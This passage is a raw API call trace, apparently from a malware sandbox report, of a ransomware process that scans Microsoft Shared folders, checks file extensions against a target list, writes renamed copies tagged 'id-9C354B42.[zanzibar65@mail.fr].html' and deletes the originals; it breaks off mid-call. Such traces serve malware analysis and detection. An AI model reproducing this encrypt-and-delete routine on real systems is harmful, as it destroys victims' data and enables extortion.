(lpString=".xls") returned 4 [0041.351] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0041.351] lstrlenW (lpString=".xlsx") returned 5 [0041.351] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0041.351] lstrlenW (lpString=".ppt") returned 4 [0041.351] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0041.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0041.351] lstrlenW (lpString=".zip") returned 4 [0041.351] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0041.351] lstrlenW (lpString=".rar") returned 4 [0041.351] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0041.351] lstrlenW (lpString=".bz2") returned 4 [0041.351] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0041.351] lstrlenW (lpString=".7z") returned 3 [0041.351] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0041.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0041.351] lstrlenW (lpString=".dbf") returned 4 [0041.351] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0041.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0041.352] lstrlenW (lpString=".1cd") returned 4 [0041.352] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0041.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0041.352] lstrlenW (lpString=".jpg") returned 4 [0041.352] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0041.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0041.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0041.352] lstrlenW (lpString=".doc") returned 4 [0041.352] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0041.352] lstrlenW (lpString=".docx") returned 5 [0041.352] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0041.352] lstrlenW (lpString=".pdf") returned 4 [0041.352] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0041.352] lstrlenW (lpString=".xls") returned 4 [0041.352] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0041.352] lstrlenW (lpString=".xlsx") returned 5 [0041.352] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0041.352] lstrlenW (lpString=".ppt") returned 4 [0041.352] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0041.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0041.352] lstrlenW (lpString=".zip") returned 4 [0041.352] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0041.352] lstrlenW (lpString=".rar") returned 4 [0041.352] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0041.352] lstrlenW (lpString=".bz2") returned 4 [0041.352] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0041.352] lstrlenW (lpString=".7z") returned 3 [0041.352] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0041.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0041.352] lstrlenW (lpString=".dbf") returned 4 [0041.352] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0041.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0041.352] lstrlenW (lpString=".1cd") returned 4 [0041.352] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0041.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0041.353] lstrlenW (lpString=".jpg") returned 4 [0041.353] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0041.353] lstrcmpiW (lpString1=".jpg", lpString2=".html") returned 1 [0041.353] lstrlenW (lpString="Blue_Gradient.jpg") returned 17 [0041.353] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0041.741] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=2575) returned 1 [0041.741] CloseHandle (hObject=0x1c4) returned 1 [0041.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg")) returned 0x20 [0041.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0041.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0041.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0041.741] lstrlenW (lpString=".doc") returned 4 [0041.741] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0041.741] lstrlenW (lpString=".docx") returned 5 [0041.741] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0041.741] lstrlenW (lpString=".pdf") returned 4 [0041.741] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0041.741] lstrlenW (lpString=".xls") returned 4 [0041.741] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0041.741] lstrlenW (lpString=".xlsx") returned 5 [0041.741] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0041.741] lstrlenW (lpString=".ppt") returned 4 [0041.741] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0041.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0041.741] lstrlenW (lpString=".zip") returned 4 [0041.741] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0041.741] lstrlenW (lpString=".rar") returned 4 [0041.741] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0041.742] lstrlenW (lpString=".bz2") returned 4 [0041.742] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0041.742] lstrlenW (lpString=".7z") returned 3 [0041.742] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0041.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0041.742] lstrlenW (lpString=".dbf") returned 4 [0041.742] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0041.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0041.742] lstrlenW (lpString=".1cd") returned 4 [0041.742] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0041.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0041.742] lstrlenW (lpString=".jpg") returned 4 [0041.742] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0041.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0041.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0041.742] lstrlenW (lpString=".doc") returned 4 [0041.742] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0041.742] lstrlenW (lpString=".docx") returned 5 [0041.742] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0041.742] lstrlenW (lpString=".pdf") returned 4 [0041.742] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0041.742] lstrlenW (lpString=".xls") returned 4 [0041.742] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0041.742] lstrlenW (lpString=".xlsx") returned 5 [0041.742] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0041.742] lstrlenW (lpString=".ppt") returned 4 [0041.742] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0041.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0041.742] lstrlenW (lpString=".zip") returned 4 [0041.742] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0041.742] lstrlenW (lpString=".rar") returned 4 [0041.742] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0041.742] lstrlenW (lpString=".bz2") returned 4 [0041.743] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0041.743] lstrlenW (lpString=".7z") returned 3 [0041.743] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0041.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0041.743] lstrlenW (lpString=".dbf") returned 4 [0041.743] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0041.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0041.743] lstrlenW (lpString=".1cd") returned 4 [0041.743] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0041.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0041.743] lstrlenW (lpString=".jpg") returned 4 [0041.743] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0041.743] lstrcmpiW (lpString1=".emf", lpString2=".html") returned -1 [0041.743] lstrlenW (lpString="Graph.emf") returned 9 [0041.743] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0042.149] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=116724) returned 1 [0042.149] CloseHandle (hObject=0x1ac) returned 1 [0042.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf")) returned 0x20 [0042.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0042.150] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0042.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0042.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0042.150] lstrlenW (lpString=".doc") returned 4 [0042.150] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0042.150] lstrlenW (lpString=".docx") returned 5 [0042.150] lstrcmpiW (lpString1=".docx", lpString2="h.emf") returned -1 [0042.150] lstrlenW (lpString=".pdf") returned 4 [0042.150] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0042.150] lstrlenW (lpString=".xls") returned 4 [0042.150] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0042.150] lstrlenW (lpString=".xlsx") returned 5 [0042.150] lstrcmpiW (lpString1=".xlsx", lpString2="h.emf") returned -1 [0042.150] lstrlenW (lpString=".ppt") returned 4 [0042.150] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0042.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0042.150] lstrlenW (lpString=".zip") returned 4 [0042.150] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0042.150] lstrlenW (lpString=".rar") returned 4 [0042.150] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0042.150] lstrlenW (lpString=".bz2") returned 4 [0042.150] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0042.150] lstrlenW (lpString=".7z") returned 3 [0042.150] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0042.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0042.150] lstrlenW (lpString=".dbf") returned 4 [0042.150] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0042.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0042.150] lstrlenW (lpString=".1cd") returned 4 [0042.151] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0042.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0042.151] lstrlenW (lpString=".jpg") returned 4 [0042.151] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0042.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0042.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0042.151] lstrlenW (lpString=".doc") returned 4 [0042.151] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0042.151] lstrlenW (lpString=".docx") returned 5 [0042.151] lstrcmpiW (lpString1=".docx", lpString2="h.emf") returned -1 [0042.151] lstrlenW (lpString=".pdf") returned 4 [0042.151] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0042.151] lstrlenW (lpString=".xls") returned 4 [0042.151] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0042.151] lstrlenW (lpString=".xlsx") returned 5 [0042.151] lstrcmpiW (lpString1=".xlsx", lpString2="h.emf") returned -1 [0042.151] lstrlenW (lpString=".ppt") returned 4 [0042.151] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0042.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0042.151] lstrlenW (lpString=".zip") returned 4 [0042.151] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0042.151] lstrlenW (lpString=".rar") returned 4 [0042.151] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0042.151] lstrlenW (lpString=".bz2") returned 4 [0042.151] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0042.151] lstrlenW (lpString=".7z") returned 3 [0042.151] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0042.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0042.151] lstrlenW (lpString=".dbf") returned 4 [0042.151] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0042.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0042.151] lstrlenW (lpString=".1cd") returned 4 [0042.152] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0042.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0042.152] lstrlenW (lpString=".jpg") returned 4 [0042.152] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0042.152] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0042.152] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0042.152] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0042.787] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=34916) returned 1 [0042.787] CloseHandle (hObject=0x1f8) returned 1 [0042.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 0x20 [0042.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0042.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0042.788] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.788] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.789] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0042.789] GetLastError () returned 0x0 [0042.789] ReadFile (in: hFile=0x1f8, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x8864, lpOverlapped=0x0) returned 1 [0042.818] WriteFile (in: hFile=0x20c, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x8870, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x8870, lpOverlapped=0x0) returned 1 [0042.819] ReadFile (in: hFile=0x1f8, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.819] WriteFile (in: hFile=0x20c, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0042.819] SetEndOfFile (hFile=0x20c) returned 1 [0042.819] CloseHandle (hObject=0x20c) returned 1 [0042.820] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.820] SetEndOfFile (hFile=0x1f8) returned 1 [0042.821] CloseHandle (hObject=0x1f8) returned 1 [0042.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0042.822] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 1 [0042.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0042.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0042.822] lstrlenW (lpString=".doc") returned 4 [0042.822] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.822] lstrlenW (lpString=".docx") returned 5 [0042.822] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.822] lstrlenW (lpString=".pdf") returned 4 [0042.822] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.822] lstrlenW (lpString=".xls") returned 4 [0042.822] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.822] lstrlenW (lpString=".xlsx") returned 5 [0042.822] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.822] lstrlenW (lpString=".ppt") returned 4 [0042.822] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0042.822] lstrlenW (lpString=".zip") returned 4 [0042.822] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.822] lstrlenW (lpString=".rar") returned 4 [0042.822] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.822] lstrlenW (lpString=".bz2") returned 4 [0042.822] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.822] lstrlenW (lpString=".7z") returned 3 [0042.822] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0042.823] lstrlenW (lpString=".dbf") returned 4 [0042.823] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0042.823] lstrlenW (lpString=".1cd") returned 4 [0042.823] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0042.823] lstrlenW (lpString=".jpg") returned 4 [0042.823] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0042.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0042.823] lstrlenW (lpString=".doc") returned 4 [0042.823] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.823] lstrlenW (lpString=".docx") returned 5 [0042.823] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.823] lstrlenW (lpString=".pdf") returned 4 [0042.823] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.823] lstrlenW (lpString=".xls") returned 4 [0042.823] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.823] lstrlenW (lpString=".xlsx") returned 5 [0042.823] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.823] lstrlenW (lpString=".ppt") returned 4 [0042.823] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0042.823] lstrlenW (lpString=".zip") returned 4 [0042.823] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.823] lstrlenW (lpString=".rar") returned 4 [0042.823] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.823] lstrlenW (lpString=".bz2") returned 4 [0042.823] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.823] lstrlenW (lpString=".7z") returned 3 [0042.823] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0042.824] lstrlenW (lpString=".dbf") returned 4 [0042.824] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0042.824] lstrlenW (lpString=".1cd") returned 4 [0042.824] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0042.824] lstrlenW (lpString=".jpg") returned 4 [0042.824] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.824] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0042.824] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0042.824] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0042.824] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=1925) returned 1 [0042.824] CloseHandle (hObject=0x1f8) returned 1 [0042.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 0x20 [0042.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0042.824] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0042.825] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.825] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), 